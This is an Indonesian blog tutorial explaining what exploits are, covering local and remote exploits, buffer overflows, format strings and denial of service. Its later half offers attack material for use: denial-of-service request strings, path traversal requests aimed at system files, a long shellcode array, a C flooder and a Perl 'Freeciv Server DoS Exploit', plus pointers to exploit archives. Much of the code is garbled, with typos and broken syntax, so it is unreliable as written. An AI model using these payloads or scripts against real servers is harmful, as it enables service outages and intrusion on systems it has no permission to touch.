-->

Apa Itu Exploit?


Apa itu Exploit?, Exploit adalah suatu aktivitas yang dimana para cracker dan hacker menambahkan suatu objek dalam beberapa bagian (website)-(jaringan)-(lokal)


Exploit rata" di gunakan untuk database


memiliki sebuah server.

   Definisi Exploit

  Pada dasarnya, definisi exploit tidak jauh berbeda menurut arti yang sebenarnya, yaitu mengeksplotasi atau memanfaatkan. Dalam dunia per-hacking-an maka bisa di artikan exploit adalah sebuah tindakan yang memanfaatkan celah atau kelemahan dalam sebuah sistem, bisa juga sebuah bug pada sebuah program.

  Adanya celah atau kelemahan dalam sebuah sistem bisa terjadi karena ketidaksengajaan dari programmer, bisa juga hasil dari kerjaan orang-orang yang memang sengaja membuat sebuah sistem supaya bisa di-exploitasi.

  Bug/kesalahan pemprograman yang paling sering di-exploitasi adalah Buffer Overflow, Format Strings, dan Heap Overflow.

  Exploit digunakan untuk menjalankan suatu perintah yang akan memberikan akses untuk melakukan sesuatu yang tak dapat dijalankan dalam situasi normal. Tujuan dari exploitasi itu sendiri, bermacam-macam. Ada yang sekedar menguji sebuah sistem atau sampai ada yang ingin menguasai sebuah sistem, dengan jalan memanfaatkan celah yang ada.

  Biasanya exploit di program dengan C, perl, atau sh, yang dimanfaatkan atau di salah gunakan untuk mengexploitasi sebuah sistem atau adanya bug dalam sebuah program. Namun, jangan ragu, jangan bimbang bagi kita-kita yang ilmu pemprogramannya masih Low Level Format (hanya istilah). Anda dapat menggunakan exploit yang sudah di dokumentasi pada situs-situs tertentu, seperti:
-http://www.antionline.com
-http://packetstormsecurity.nl

  Untuk mendapatkan sebuah exploit bisa menghabiskan waktu berjam-jam untuk mengotak-atik sebuah sistem sampai berhasil dijebol atau di-exploitasi, hal ini membutuhkan kemampuan pemprograman tingkat tinggi. Biasanya orang yang memiliki ilmu ini dalam jajaran hacker dijuluki 'elite'. Sama seperti julukannya, mereka memang elit.

  Sebenarnya exploit sendiri memiliki kekurangan, yaitu usianya yang tidak panjang. Hal ini dikarenakan exploit digunakan untuk mencari celah keamanan sebuah sistem. Jadi, apabila sebuah sistem sudah di-patch istilah kita sehari-hari sudah di tambal, exploit tersebut tidak akam bekerja lagi. Sehingga perlu di cari exploit-exploit baru pada sebuah sistem.

   Mencari Exploit

  Pada dasarnya, exploit dapat dicari apabila anda mengetahui nomor versi dan software yang dijalankan oleh sebuah situs/sistem. Kemudian yang perlu untuk diketahui adalah cara untuk mengeksploitasi sebuah aplikasi dan service-nya. Ada banyak cara menemukan suatu exploit, yang paling mudah adalah melalui Bug Traq. Hal ini dikarenakan banyak bug software yang di posting disini:
-http://www.securityfocus.com
-http://www.ntbugtraq.com

   Menggunakan Exploit

  Banyak exploit yang dapat anda temukan tidak hanya berbentuk injection attack (serangan injeksi) yang berupa source code pemprograman. Anda juga harus mengkompilasi(compile) source code untuk di ubah menjadi suatu aplikasi yang akan melancarkan sebuah serangan.

  Tata cara untuk melakukan kompilasi suatu aplikasi dari sebuah source code akan berbeda-beda. Jadi saya tidak akan membahas masalah ini disini, karena banyaknya metode yang berbeda-beda tersebut.

  Untuk membantu anda melakukan hal ini anda bisa menggunakan Google untuk mencarikan nya untuk anda.

  Salah satu caranya adalah dengan mengetikkan how do i compile <nama bahasa> programs. Atau anda juga bisa memodifikasi nya sesuai keinginan atau kasus yang anda hadapi.contoh:
-how do i compile python programs
-how do i compile facebook programs

  Seandainya tidak ditemukan exploit untuk sebuah aplikasi target yang sedang anda hadapi. Mau tidak mau, solusi nya adalah melakukan riset tentang bagaimana aplikasi tersebut bekerja, termasuk memperluas pemgetahuan anda untuk menuliskan sebuah exploit sendiri. Untuk dapat melakukan hal ini di perlukan pengetahuan luas mengenai bahasa pemprograman.

   Jenis-Jenis Exploit

  Secara garis besar, exploit dapat dibagi menjadi dua jenis:
-  Exploit Lokal
-  Remote Exploit

  A.Exploit lokal

  Exploit lokal dapat dilakukan, hanya apabila seseorang memiliki akses untuk menggunakan sebuah sistem, atau exploit yang hanya bisa di-eksekusi pada komputer itu sendiri. Misalnya adalah Telnet dan FTP. Artinya, exploit tidak bisa di eksekusi lewat komputer pribadi untuk memasuki komputer lain.
Contoh dari explpit lokal adalah:
- Buffer Overflow
- Race Conditions
  Biasa nya exploit lokal di eksekusi dan akan bisa menguasai sistem dengan memanfaatkan kelemahan yang ada pada sistem operasi ataupun pada aplikasi yang dijalankan oleh server.

  B.Remote Exploit

  Remote exploit dapat terjadi dimana seseorang bisa mengeksploitasi sebuah sistem tanpa harus mengetahui username dan password, atau exploit yang dapat di eksekusi dari jarak jauh. Artinya dengan menggunakan exploit ini maka anda dapat masuk ke komputer lain melalui komputer pribadi dengan memanfaatkan kelemahan aplikasi yang berjalan di komputer lain tersebut. Biasanya remote exploit juga bisa menjadi local exploit dan tidak berlaku sebaliknya.

  Celah pada cgi phf adalah salah satu kasus pemanfaatan remote exploit yang digunakan untuk mendapatkan file/ etc/ passwd. Melalui cara tersebut apabila seseorang berhasil masuk menggunakan salah satu nama user yang di dapatkan nya maka bisa berakibat fatal. Hal ini karena setelah masuk ke dalam sebuah sistem, seseorang bisa mendapatkan akses sebagai root ataupun administrator.

  Salah satu contoh kelemahan exploit pada port 143(IMAPd) yang memberikan akses root tanpa menggunakan password. Oleh karena itu, pengguna port scanner sangat penting sekali untuk mengetahui port mana saja yang menerima koneksi dalam sebuah sistem. Salah satu program tersebut adalah NetCat.

   Bug Exploit

  Banyak terjadi kasus, dimana adanya packet yang menyerang software yang tidak di uji dengan baik. Salah satu contohnya Buffer Overflow Vunerability. Seseorang bisa saja memanfaat kan kelemahan string yang tidak dicek panjang nya. Akibatnya, memungkinkan seseorang untuk mengeksekusi arbitary command dalam hal ini bisa berupa shell dan root access bahkan Denial of Service(DoS). Disini saya tidak akan membicarakan mengenai overflow,  sebagai tambahan saja, perhatikan kode berikut:
void main ( )  {
               char  text[201] ;
               printf ("Enter your ID:") ;
               scanf("%s",  text) ;
}

  Misalnya katakanlah ID yang digunakan pada sebuah sistem adalah 5 digit. Apabilabada seorang user yang sengaja ingin melakukan buffer overflow, cukup dengan menulis angka ID lebih dari 30 digit. Oleh karena itu, strange input yang dimasukan oleh user perlu di perhatikan.

   Exploit Format String

  Berbeda hal nya dengan buffer overflow, exploit format string digunakan untuk mengekploitasi aplikasi yang menggunakan fungsi format string yang salah.

  Metode ini di publikasikan bulan juni, tahun 1999. Jenis exploit ini juga masih jarang, tapi keakuratannya dalam memperhitungkan offset yang dapat dieksploitasi dapat dibilang akurat.

   Exploit dan DoS

  Saya rasa anda sudah banyak mengenal apa yang di sebut dengan DoS tersebut. Jadi saya tidak akan berlama-lama dengan menjelaskan nya. Apa yang dijelaskan disini adalah sebuah contoh kasus apabila ada sebuah program webserver yang terinfeksi buffer overflow.

  Untuk mengetahui apakah sebuah webserver tersebut dapat digunakan sebagai Denial of Service, bisa dilakukan dengan membuat telnet dan terkoneksi ke komputer lain. Untuk nilai string akan saya berikan berikutnya.

telnet> o
target.com 80
connected to host..

GET <string>

  Jika server tersebut down atau mengalami crash maka kemungkinan besar bisa dikatakan adanya aktifitas dari Denial of Service. Berikut nilai string yang sering digunakan untuk aksi Denial of Service ke sebuah web server:
1. String yang panjang
GET A x 2140
POST A x 2140
GET / HTTP/1.0
'User-Agent:  <4000 x A>
2. String '@+2.0 conn_ping_info username_info-beta8'
3. Eksekusi sebuah file yang di luar jangkauan direktori webserver
GET .././../windows/repair/sam
GET ../bin/kill%20-9%200|
GET /cgi-bin/
julianlove?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4. Menggunakan shellcode exploit
char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x34\x0a"
"\x2f\xfd\x83\xeb\xfc\xe2\xf4\xc8\xe2\x79\xfd\x34\x0a\x7c\xa8\x62"
"\x5d\xa4\x91\x10\x12\xa4\xb8\x08\x81\x7b\xf8\x4c\x0b\xc5\x76\x7e"
"\x12\xa4\xa7\x14\x0b\xc4\x1e\x06\x43\xa4\xc9\xbf\x0b\xc1\xcc\xcb"
"\xf6\x1e\x3d\x98\x32\xcf\x89\x33\xcb\xe0\xf0\x35\xcd\xc4\x0f\x0f"
"\x76\x0b\xe9\x41\xeb\xa4\xa7\x10\x0b\xc4\x9b\xbf\x06\x64\x76\x6e"
"\x16\x2e\x16\xbf\x0e\xa4\xfc\xdc\xe1\x2d\xcc\xf4\x55\x71\xa0\x6f"
"\xc8\x27\xfd\x6a\x60\x1f\xa4\x50\x81\x36\x76\x6f\x06\xa4\xa6\x28"
"\x81\x34\x76\x6f\x02\x7c\x95\xba\x44\x21\x11\xcb\xdc\xa6\x3a\xb5"
"\xe6\x2f\xfc\x34\x0a\x78\xab\x67\x83\xca\x15\x13\x0a\x2f\xfd\xa4"
"\x0b\x2f\xfd\x82\x13\x37\x1a\x90\x13\x5f\x14\xd1\x43\xa9\xb4\x90"
"\x10\x5f\x3a\x90\xa7\x01\x14\xed\x03\xda\x50\xff\xe7\xd3\xc6\x63"
"\x56\x1d\xa2\x07\x38\x2f\xa6\xb9\x41\x0f\xac\xcb\xdd\xa6\x22\xbd"
"\xc9\xa2\x88\x20\x60\x28\xa4\x65\x59\xd0\xc9\xbb\xf5\x7a\xf9\x6d"
"\x83\x2b\x73\xd6\xf8\x04\xda\x60\xf5\x18\x02\x61\x3a\x1e\x3d\x64"
"\x5a\x7f\xad\x74\x5a\x6f\xad\xcb\x5f\x03\x74\xf3\x3b\xf4\xae\x67"
"\x62\x2d\xfd\x25\x56\xa6\x1d\x5e\x1a\x7f\xaa\xcb\x5f\x0b\xae\x63"
"\xf5\x7a\xd5\x67\x5e\x78\x02\x61\x2a\xa6\x3a\x5c\x49\x62\xb9\x34"
"\x83\xcc\x7a\xce\x3b\xef\x70\x48\x2e\x83\x97\x21\x53\xdc\x56\xb3"
"\xf0\xac\x11\x60\xcc\x6b\xd9\x24\x4e\x49\x3a\x70\x2e\x13\xfc\x35"
"\x83\x53\xd9\x7c\x83\x53\xd9\x78\x83\x53\xd9\x64\x87\x6b\xd9\x24"
"\x5e\x7f\xac\x65\x5b\x6e\xac\x7d\x5b\x7e\xae\x65\xf5\x5a\xfd\x5c"
"\x78\xd1\x4e\x22\xf5\x7a\xf9\xcb\xda\xa6\x1b\xcb\x7f\x2f\x95\x99"
"\xd3\x2a\x33\xcb\x5f\x2b\x74\xf7\x60\xd0\x02\x02\xf5\xfc\x02\x41"
"\x0a\x47\x0d\xbe\x0e\x70\x02\x61\x0e\x1e\x26\x67\xf5\xff\xfd" ;

  Setelah di temukan adanya webserver DoS, berikutnya adalah membuat exploit dengan C++/Perl.

user@linux:~/ telnet localhost 80
trying  : :1...
telnet: conect to addres  : :1: Connection refused
trying 127.0.0.1...
Connected to localhost.

GET HTTP/1.1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  Perintah yang menggunakan karakter A sekitar 1024 bytes, webserver tersebut akan menciptakan sebuah buffer overflow. Akibatnya webserver tersebut akan mengalami crash/down.

  Penyebab terjadinya crash tersebut bisa dilihat dari output dari gdb.
program received signal SIGSEGV, segmentation fault.
0×41414141  ??   ()
(gdb)

  Seperti yang terlihat eip(extended instruction pointer) diset ke 0×41414141

  0×41 adalah standard dari A. Apabila memberikan lebih dari 1024 bytes, program tersebut menyalin ke sebuah nama string [2048] ke buffer [1024]. Oleh karena [2048] lebih besar dari 1024 bytes, buffer tersebut telah di-overwrite berikut eip.

[××××××××-name-2048-bytes-××××××××]
[××××× buffer-only-1024-bytes ×××]  [eip]

  Dengan sendirinya melompat ke alamat yang salah(0×41414141). Hal ini disebut segmentation fault.

----------- DoS.c -----------

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_inaddr;
struct hostent *host;
char buffer[2048];
int  s,  i;
if(argc  != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n",argv[0]);
exit(0);
}

s=socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{

perror("socket() ERROR\n");
exit(0);

}

host = getgethostbyname(argv[1]);
if(   host == NULL)

{

herror("gethostbyname() ERROR");
exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));

if(connect(s, &addr,sizeof(addr))  == -1)
{
perror("connection to host ERROR\n");
exit(0);

}
/* Membuat kelipatan karakter 'A' ke 2048 bytes */

for(i = 0; i < 2048 ;  i++)

buffer = 'A';
/* 'A' disini adalah sebuah karakter string yg digunakan mengirimkan/membuat buffer overflow */

printf("buffer filled... now sending buffer\n");
/* 'send(s,buffer' mengirimkan data buffer yg sudah terkoneksi ke kokputer tersebut */
send(s, buffer, strlen(buffer),0);
printf(*buffer sent.\n");

close(s);

return 0;

}

----------- DoS.pl -----------

#!/usr/bin/perl
#  Freeciv Server DoS Exploit
#------------------------------

use IO: :Socket;
$host=$ARGV[0];
$port=5555;  #port digunakan '5555'

if(!$ARGV[0]){
print "Freenciv Server DoS Exploit\n";
print "==========================\n";
print "INFGP-hacking&security Research\n";
print "[^]\n\n";
print "Usage:perl  $0  [target]\n";
}

use IO: :Socket;
$socket = new IO: :socket: :INET( peerAddr => $host,
peerport => $port,
proto => 'tcp' ,
type => SOCK_STREAM,   );
close($socket) {
print "[+]Attacking host..\n";
}

$conn = new IO: :socket: :INET( peerAddr => $host,
peerport => $port,
proto => 'tcp',
type => SOCK_STREAM,  ) or die "Host not found\n";

print "[+]Connect on $port\n\n";
print "[+]Creating string\n";

#'line' disini artinya bisa digunakan mengirimkan sebagai string DoS
#Seperti halnya GET  'A'  × 1240

$line="@+2.0  conn_ping_info username_info-beta8";
#Seperti $line="GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1"

print "[+]String sent..\n\n";

#Setelah terkoneksi ke komputer tersebut , perintah 'print' dapat langsung di eksekusi dengan menjalankan socket serta mengirimkan paket buffer overflow, berikut '$line', karakter buffer string

print $conn "$line";
close($conn);
}

print "Server killed\n";
exit();


Untuk mencari suatu celah yang di report silahkan pergi ke google dan mengetik: https://www.exploit-db.com

Dan pilih methode adroid apa yang lain dan tulis tujuan:v

Sekian artikel dari kami semoga bermanfaat

0 Response to "Apa Itu Exploit?"

Post a Comment

Silahkan berkomentar secara bijak dan sesuai dengan topik pembahasan

Iklan Atas Artikel

Iklan Tengah Artikel 1

SafelinkU | Shorten your link and earn money

Iklan Tengah Artikel 2

loading...

Iklan Bawah Artikel